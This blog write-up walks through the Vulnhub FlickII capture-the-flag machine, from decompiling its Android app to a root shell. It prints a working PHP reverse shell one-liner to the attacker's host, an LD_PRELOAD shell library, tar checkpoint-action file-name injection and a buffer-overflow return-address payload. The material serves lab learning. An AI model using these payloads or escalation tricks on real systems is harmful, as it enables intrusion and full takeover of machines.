Vulnhub - FlickII

FlickII

Still playing with the vulnhub machines this time it is the turn of FlickII. This one is different from the others as it has an android application associated. It would be a great exercice to play with mobile application, decompile it and see what is in the inside.

Host discovery

Connecting to host-only network:

sudo ip addr add 192.168.56.1/24 dev vboxnet

Scanning the network to find the virtual machine IP address:

[maggick@rootine flick-check-dist]$ nmap -sn 192.168.56.1/24

Starting Nmap 7.01 ( https://nmap.org ) at 2015-12-30 18:41 CET
Nmap scan report for 192.168.56.1
Host is up (0.00061s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00097s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.45 seconds

Scanning the virtual machine to find open ports:

[maggick@rootine flick-check-dist]$ nmap -p0-65535 192.168.56.101 -T4

Starting Nmap 7.01 ( https://nmap.org ) at 2015-12-30 18:50 CET
Nmap scan report for 192.168.56.101
Host is up (0.00088s latency).
Not shown: 65534 filtered ports
PORT    STATE  SERVICE
80/tcp  closed http
443/tcp open   https

Nmap done: 1 IP address (1 host up) scanned in 123.28 seconds

APK analysis

We got an apk. If we unzip it we got lots of xml files and a dex file.

ls ~/Downloads/flickII/flick-check-dist
AndroidManifest.xml  classes.dex  META-INF  README  res  resources.arsc

There is a lot of tool in order to decompile and APK and get class files or jar files like dare, dex2jar and more (here is an article about android decompiler comparison).

I tried to use dare to convert dex file to Java bytecode but there was an issue between my 64 bits Arch Linux system and the 32 bits executable. I didn't dig this issue and just go for dex2jar:

sh d2j-dex2jar.sh flick-check-dist.apk

From there I use cfr to decompile the jar file to Java files and human readable code.

java -jar cfr_0_110.jar flickII/flick-check-dist-dex2jar.jar --outputdir flickII/flick-check-dist-cfr-java/

We got the decompiled code. The interesting part of the application is the com/flick/flickeck folder:

├── com
│   ├── flick
│   │   └── flickcheck
│   │       ├── BuildConfig.java
│   │       ├── CallApi.java
│   │       ├── CommandActivity.java
│   │       ├── DoRegisterActivity.java
│   │       ├── MainActivity.java
│   │       ├── PubKeyManager.java
│   │       ├── ReadApiServerActivity.java
│   │       ├── RegisterActivity.java
│   │       └── R.java

We take a look at each file in this directory in order to understand the application goal and how it works.

API token and DoRegisterActivity.java

The file DoRegisterActivity.java show us how to register a new device. By testing the URL presented in the file we got:

[maggick@rootine ~]$ curl   https://192.168.56.101/register/new --insecure
{"error":"This method is not allowed for the requested resource."}

We lack an ID to "authenticate" ourself. The line 70 to 75 show us how to get this ID:

Object object2 = (TelephonyManager)this.getBaseContext().getSystemService("phone");
object = "" + object2.getDeviceId();
object2 = "" + object2.getSimSerialNumber();
object = new UUID(("" + Settings.Secure.getString((ContentResolver)this.getContentResolver(), (String)"android_id")).hashCode(), (long)object.hashCode() << 32 | (long)object2.hashCode()).toString();
object2 = this.getSharedPreferences(this.getString(2131099666), 0).getString("api_server", null);
new CallAPI().execute((Object[])new String[]{"https://" + (String)object2 + "/register/new", object});

Let us wrote some Java to generate this ID for us:

Our object and object2 variables are named generically by the debugger. We can see in the code above that object is a string containing the device ID and that object2 is a string containing the serial number of the Sim card. Moreover the line where the code generate the new UUID (see the javadoc for more information about this object) use an other variable accessible on the phone: the android ID.

With all this information we come easily with the following code:

import java.util.UUID;

public class HelloWorld {

  public static void main(String[] args) {
    String deviceId = "12345";
    String SimSerialNumber = "67890";
    String androidId= "34567";

    String code="";

    code = new UUID(androidId.hashCode(), deviceId.hashCode() << 32 | SimSerialNumber.hashCode()).toString();
    System.out.println(code);
    }
}

We compile this code with javac and execute it with java (yeah I have named it HelloWorld):

[maggick@rootine ~]$ java HelloWorld
00000000-02e7-1fb5-0000-000003daceff

We can now try again the URL with this UUID sent in a post parameter:

[maggick@rootine ~]$ curl --data 'uuid=00000000-02e7-1fb5-0000-000003daceff' https://192.168.56.101/register/new --insecure
{"registered":"ok","message":"The requested UUID is now registered.","token":"t6nsb2SrfYKqsp8JIdbEscwfwA6JEeUh"}

Great we are registered, what's next?

Command execution and CommandActivity.java

Line 111 in the file CommandActivity.java we see the doCmd method that seems to execute commands on the server via HTTP:

public void doCmd(View object) {
    Toast.makeText((Context)this, (CharSequence)("Running command: " + object.getTag().toString()), (int)0).show();
    object = Base64.encodeToString((byte[])object.getTag().toString().getBytes(), (int)0);
    Object object2 = (TelephonyManager)this.getBaseContext().getSystemService("phone");
    String string2 = "" + object2.getDeviceId();
    object2 = "" + object2.getSimSerialNumber();
    string2 = new UUID(("" + Settings.Secure.getString((ContentResolver)this.getContentResolver(), (String)"android_id")).hashCode(), (long)string2.hashCode() << 32 | (long)object2.hashCode()).toString();
    Object object3 = this.getSharedPreferences(this.getString(2131099666), 0);
    object2 = object3.getString("api_server", null);
    object3 = object3.getString("api_auth_token", null);
    new CallAPI().execute((Object[])new String[]{"https://" + (String)object2 + "/do/cmd/" + (String)object, string2, object3});
}

The View object in parameter is the command to execute. The command is just base64 encoded before sending it to the server as object in the url, the string2parameter is the UUID we generate a few lines ago sent in the HTTP header as 'X-UUID' parameter, theobject3` parameter is the token to authenticate to the API given with the curl command just before also sent in the header as 'X-Token' (you may need to look at the CallAPI method and more particulary at line 182 and 183)

[maggick@rootine ~]$ curl   https://192.168.56.101/do/cmd/$(echo -ne id | base64) --header "X-UUID: 00000000-02e7-1fb5-0000-000003daceff" --header "X-Token: n1dJEyZaiFtRyJSoIl2pzI0HDO6BGw18" --insecure
{"status":"ok","command":"id","output":"uid=998(nginx) gid=997(nginx) groups=997(nginx)\n"}

We can execute command on the server, let us wrote a simple bash script to simplify the next steps (we put an echo at the end to have a nice output):

#!/bin/bash

curl   https://192.168.56.101/do/cmd/$(echo -ne $1 | base64) --header "X-UUID: 00000000-02e7-1fb5-0000-000003daceff" --header "X-Token: n1dJEyZaiFtRyJSoIl2pzI0HDO6BGw18" --insecure
echo ''

Let us gather some information about the system (there is a blacklist that block us and forgive us to directly use ls but the absolute path works):

[maggick@rootine ~]$ ./p ls
{"status":"error","output":"Command 'ls' contains a banned command."}
[maggick@rootine ~]$ ./p /bin/ls
{"status":"ok","command":"\/bin\/ls","output":"index.php\ntest.php\n"}

Shell exploitation

Reverse shell

From there we can get an interactive reverse shell. Let us use the php reverse shell from pentestmonkey:

We need to listen on our host machine for the server connection:

nc -v -n -l -p 8080

Then we need to open the connection from the server:

/bin\/php -r '$sock=fsockopen(\"192.168.56.1\",8080);exec(\"\/bin\/sh -i <&4 >&4 2>&4\");'

It works with no more restriction:

sh-4.2$ id
id
uid=998(nginx) gid=997(nginx) groups=997(nginx)

Batman and Robin?

We can get a look at the /etc/passwd file:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
nginx:x:998:997:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
robin:x:1000:1000::/home/robin:/bin/bash
bryan:x:1001:1001::/home/bryan:/bin/bash
sean:x:1002:1002::/home/sean:/bin/bash

We can see in the /etc/passwd file that there is 3 users: robin, bryan and sean. Moreover in the CommandActivity.java file we have seen that there is a mean to execute ssh command (also the port is not open) using the user robin. The password used for this command is a simply a XOR between the integryity_check base64 encoded string at the beginning of the file and the string define in the validate method. We can reuse the code from there and find back the password: 40373df4b7a1f413af61cf7fd06d03a565a51898

With our reverse shell a simple su robin and the password above give us a shell as the robin user:

id
uid=1000(robin) gid=1000(robin) groups=1000(robin)

Where is bryan?

For the next part of the challenge we may need a real pty shell, Once more pentest monkey will help us:

python -c 'import pty; pty.spawn("/bin/bash")'

We go in the user directory (cd) and we see a file debug.gpg:

cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD")                                                                                          = nil
rand()                                                                                                        = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4)                                                   = 22
__cxa_finalize(0x555555754e00, 0, 0, 1)                                                                       = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]

Lemme know!

- --
Sean

We search for the dice program:

find / -name 'dice' 2>/dev/null
/usr/local/bin/dice

This program simply roll a dice:

/usr/local/bin/dice
Dice said: 1804289383

An other useful information is that we can roll the dice as bryan:

sudo -l
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898

Matching Defaults entries for robin on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
    (bryan) /usr/local/bin/dice

Let us put all the pieces together. We can run the program as bryan, we now that the program load the LD_PRELOAD environement variable.

A simple google search lead us to this article and this one. So now we just need to write a shared library to replace rand() by /bin/bash run the program as bryan and we would get a shell as bryan.

When testing the trick I ran into the following error:

[robin@fII ~]$ gcc -shared -fPIC unrandom.c -o unrandom.so
gcc: error trying to exec 'cc1': execvp: No such file or directory

We just need to add some variable to our user's PATH:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/game

From there we we can compile the shared library and execute the dice program with it:

[robin@fII ~]$ gcc -shared -fPIC unrandom.c -o unrandom.so
gcc -shared -fPIC unrandom.c -o unrandom.so
[robin@fII ~]$ LD_PRELOAD=$PWD/unrandom.so /usr/local/bin/dice
LD_PRELOAD=$PWD/unrandom.so /usr/local/bin/dice
42 baby

We need to copy the .so to a location where bryan could read it like /tmp/. Now we can run the program as bryan and load the shared library:

sudo -u bryan LD_PRELOAD=/tmp/unrandom.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898

42 baby!

We need to modify the code to get a shell:

#include <stdlib.h>

char *getenv(const char *name){
return 0;
}

int rand(){
system("/bin/bash");
return 42; //the most random number in the universe
}

We compile it with gcc and run it as bryan:

[robin@fII ~]$ sudo -u bryan LD_PRELOAD=/tmp/lol.so /usr/local/bin/dice
sudo -u bryan LD_PRELOAD=/tmp/lol.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
[bryan@fII robin]$ id
id
uid=1001(bryan) gid=1001(bryan) groups=1001(bryan)

sean

Now that we have a shell as bryan we may execute the backup script own by sean with the SUID set:

[bryan@fII bin]$ ls -al
ls -al
total 1960
drwxr-xr-x.  2 root root       59 Aug 17  2015 .
drwxr-xr-x. 12 root root     4096 Jun 22  2015 ..
-rwsr-x---.  1 sean bryan    8830 Jul  2  2015 backup
-rwxr-xr-x.  1 root root  1107672 Jun 22  2015 composer
-rwx--x--x.  1 root root     8830 Jul  2  2015 dice
-rwsr-x---   1 root sean   866169 Aug 15  2015 restore

Let us see what it does:

[bryan@fII bin]$ ./backup
./backup
* Securing environment
* Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
framework/sessions/
framework/sessions/.gitignore
framework/views/
framework/views/.gitignore
logs/
logs/.gitignore
logs/lumen.log
* Backup done!

It might be something about WildCards on linux. The following link let us learn more about Linux WildCards vulnerability.

Let us see what is used by the backup program with strace which available on the server let us try it to see the inside of the program:

[sean@fII bin]$ strace -s 999 -v -f ./backup 2>&1 | grep execve
strace -s 999 -v -f ./backup 2>&1 | grep execve
execve("./backup", ["./backup"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "TERM=unknown", "SHELL=/bin/bash", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/mail/bryan", "PWD=/usr/local/bin", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "TAR_CHECKPOINT=1", "SHLVL=13", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace", "OLDPWD=/tmp"]) = 0
[pid  1779] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "TERM=unknown", "SHELL=/bin/bash", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/mail/bryan", "PWD=/usr/local/bin", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "TAR_CHECKPOINT=1", "SHLVL=13", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace", "OLDPWD=/tmp"]) = 0
[pid  1781] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/date"]) = 0
[pid  1782] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20160312.tar.gz", "app", "--checkpoint-action=exec=sh shell.sh", "database.sqlite", "framework", "logs", "shell.sh"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid  1783] execve("/usr/local/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
[pid  1783] execve("/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
  • The -s 999 allows to specify the maximum string size to print
  • the -v prints more informations
  • the -f see the child process calls, you would not see a lot of things without this flag

We can see that the tar utility is used. We have seen in the previous link that we can exploit it using the checkpoint. The backup directory is /usr/share/nginx/serverchecker/storage.

[bryan@fII bin]$ touch '/usr/share/nginx/serverchecker/storage/--checkpoint=1'
[bryan@fII bin]$ touch '/usr/share/nginx/serverchecker/storage/--checkpoint-action=exec=sh shell.sh'
[bryan@fII bin]$ echo '/bin/sh' > /usr/share/nginx/serverchecker/storage/shell.sh
[bryan@fII bin]$ chmod +x /usr/share/nginx/serverchecker/storage/shell.sh
[bryan@fII bin]$ ls -al /usr/share/nginx/serverchecker/storage/
total 20
drwxrwxrwx.  5 nginx nginx 4096 Mar 12 11:54 .
drwxr-xr-x. 10 nginx nginx 4096 Jun 22  2015 ..
drwxr-xr-x.  2 nginx nginx   23 Jun 22  2015 app
-rw-rw-r--   1 bryan bryan    0 Mar 12 11:52 --checkpoint=1
-rw-rw-r--   1 bryan bryan    0 Mar 12 11:53 --checkpoint-action=exec=sh shell.sh
-rwxrwxrwx.  1 nginx nginx 6144 Feb 14 14:40 database.sqlite
drwxr-xr-x.  5 nginx nginx   45 Jun 22  2015 framework
drwxr-xr-x.  2 nginx nginx   39 Jun 22  2015 logs
-rw-rw-r--   1 bryan bryan    8 Mar 12 11:54 shell.s

We launch the backup program:

[bryan@fII bin]$ /usr/local/bin/backup
sh-4.2$ id
id
uid=1002(sean) gid=1001(bryan) groups=1002(sean),1001(bryan)

root me?

Let get us back a real shell:

python -c 'import pty; pty.spawn("/bin/bash")'

You may need to change the permission of bryan's .bashrc as you can get an error about it:

[bryan@fII ~]$ chmod 777 ~/.*

(Yes I had to exit the shell and start again the operations :/)

Next we need to use the restore program also in /usr/local/bin/ own by root with the SUID set and executable by the sean group. First we need to change our group (as the one used is bryan).

newgrp sean

Let us try the program by creating and empty archive in /tmp/:

[sean@fII storage]$ cd /tmp/
[sean@fII tmp]$ touch backup.tar.gz
[sean@fII tmp]$ cd /usr/local/bin
[sean@fII bin]$ ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: /tmp/
Output directory is: /tmp/
This is a beta, run the following command for now: 
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp/ database.sqlite"
You are currently running this tool as: 
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

This looks like we would have to use a buffer overflow the get a root shell as the program segfault when the input for the "output directory" is too long:

[sean@fII tmp]$ /usr/local/bin/restore
/usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
Output directory is: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
Segmentation fault

Let us used objdump to see what we can do and to which address get back in the program:

objdump -d ./restore
[...]
0000000000400fe1 <get_out_path>:
  400fe1:   55                      push   %rbp
  400fe2:   48 89 e5                mov    %rsp,%rbp
  400fe5:   48 83 ec 40             sub    $0x40,%rsp
  400fe9:   bf 77 2b 49 00          mov    $0x492b77,%edi
  400fee:   b8 00 00 00 00          mov    $0x0,%eax
  400ff3:   e8 38 11 00 00          callq  402130 <_IO_printf>
  400ff8:   48 8d 45 c0             lea    -0x40(%rbp),%rax
  400ffc:   48 89 c7                mov    %rax,%rdi
  400fff:   e8 2c 15 00 00          callq  402530 <_IO_gets>
  401004:   48 8d 45 c0             lea    -0x40(%rbp),%rax
  401008:   48 89 c6                mov    %rax,%rsi
  40100b:   bf 94 2b 49 00          mov    $0x492b94,%edi
  401010:   b8 00 00 00 00          mov    $0x0,%eax
  401015:   e8 16 11 00 00          callq  402130 <_IO_printf>
  40101a:   48 8d 45 c0             lea    -0x40(%rbp),%rax
  40101e:   c9                      leaveq 
  40101f:   c3                      retq

It looks like the address 401f71 would give us a shell if we return there with the buffer overflow.

objdump -d ./restore
[...]
  401f15:   eb 93                   jmp    401eaa <do_system+0x29a>
  401f17:   31 d2                   xor    %edx,%edx
  401f19:   be 00 f5 6b 00          mov    $0x6bf500,%esi
  401f1e:   bf 02 00 00 00          mov    $0x2,%edi
  401f23:   48 c7 44 24 30 25 2d    movq   $0x492d25,0x30(%rsp)
  401f2a:   49 00 
  401f2c:   48 c7 44 24 38 1d 2d    movq   $0x492d1d,0x38(%rsp)
  401f33:   49 00 
  401f35:   48 89 6c 24 40          mov    %rbp,0x40(%rsp)
  401f3a:   48 c7 44 24 48 00 00    movq   $0x0,0x48(%rsp)
  401f41:   00 00 
  401f43:   e8 b8 e2 01 00          callq  420200 <__sigaction>
  401f48:   31 d2                   xor    %edx,%edx
  401f4a:   be 60 f4 6b 00          mov    $0x6bf460,%esi
  401f4f:   bf 03 00 00 00          mov    $0x3,%edi
  401f54:   e8 a7 e2 01 00          callq  420200 <__sigaction>
  401f59:   48 8d 74 24 50          lea    0x50(%rsp),%rsi
  401f5e:   31 d2                   xor    %edx,%edx
  401f60:   bf 02 00 00 00          mov    $0x2,%edi
  401f65:   e8 b6 e2 01 00          callq  420220 <__sigprocmask>
  401f6a:   48 8b 15 ff d7 2b 00    mov    0x2bd7ff(%rip),%rdx        # 6bf770 <__environ>
  401f71:   48 8d 74 24 30          lea    0x30(%rsp),%rsi
  401f76:   bf 20 2d 49 00          mov    $0x492d20,%edi
  401f7b:   c7 05 bb d4 2b 00 00    movl   $0x0,0x2bd4bb(%rip)        # 6bf440 <lock>
  401f82:   00 00 00 
  401f85:   c7 05 c1 d4 2b 00 00    movl   $0x0,0x2bd4c1(%rip)        # 6bf450 <sa_refcntr>
  401f8c:   00 00 00 
  401f8f:   e8 9c aa 01 00          callq  41ca30 <__execve>
  401f94:   bf 7f 00 00 00          mov    $0x7f,%edi
  401f99:   e8 32 aa 01 00          callq  41c9d0 <_exit>
  401f9e:   48 c7 c2 c0 ff ff ff    mov    $0xffffffffffffffc0,%rdx
  401fa5:   f7 d8                   neg    %eax

Let us use python to generate the payload encoded in little endian:

[sean@fII storage]$ python -c 'print "A"*72 + "\x71\x1f\x40"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq@

You may need to use another terminal which would not mess up with your input as urxvt did. I used tilda for this one. We just need to copy the payload when choosing the output directory for the restore program:

[sean@fII storage]$ /usr/local/bin/restore
/usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq^_@
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq^_@
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq@

And it got us a root shell from where we can get the flag:

[root@fII storage]# id
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

root@fII root]# cat flag

  █████▒██▓     ██▓ ▄████▄   ██ ▄█▀ ██▓ ██▓
▓██   ▒▓██▒    ▓██▒▒██▀ ▀█   ██▄█▒ ▓██▒▓██▒
▒████ ░▒██░    ▒██▒▒▓█    ▄ ▓███▄░ ▒██▒▒██▒
░▓█▒  ░▒██░    ░██░▒▓▓▄ ▄██▒▓██ █▄ ░██░░██░
░▒█░   ░██████▒░██░▒ ▓███▀ ░▒██▒ █▄░██░░██░
▒ ░   ░ ▒░▓  ░░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░▓  ░▓  
░     ░ ░ ▒  ░ ▒ ░  ░  ▒   ░ ░▒ ▒░ ▒ ░ ▒ ░
░ ░     ░ ░    ▒ ░░        ░ ░░ ░  ▒ ░ ▒ ░
          ░  ░ ░  ░ ░      ░  ░    ░   ░  
                  ░

You have successfully completed FlickII!

I hope you learnt as much as I did while
making it! Any comments/suggestions etc,
feel free to catch me on freenode in
#vulnhub or on twitter @leonjza

Conclusion

This was a really great challange! The android part was a really new to me. The exploitation part was very interesting!.

Many thanks to TurboSmouem for the challange and as usual thanks to vulnhub.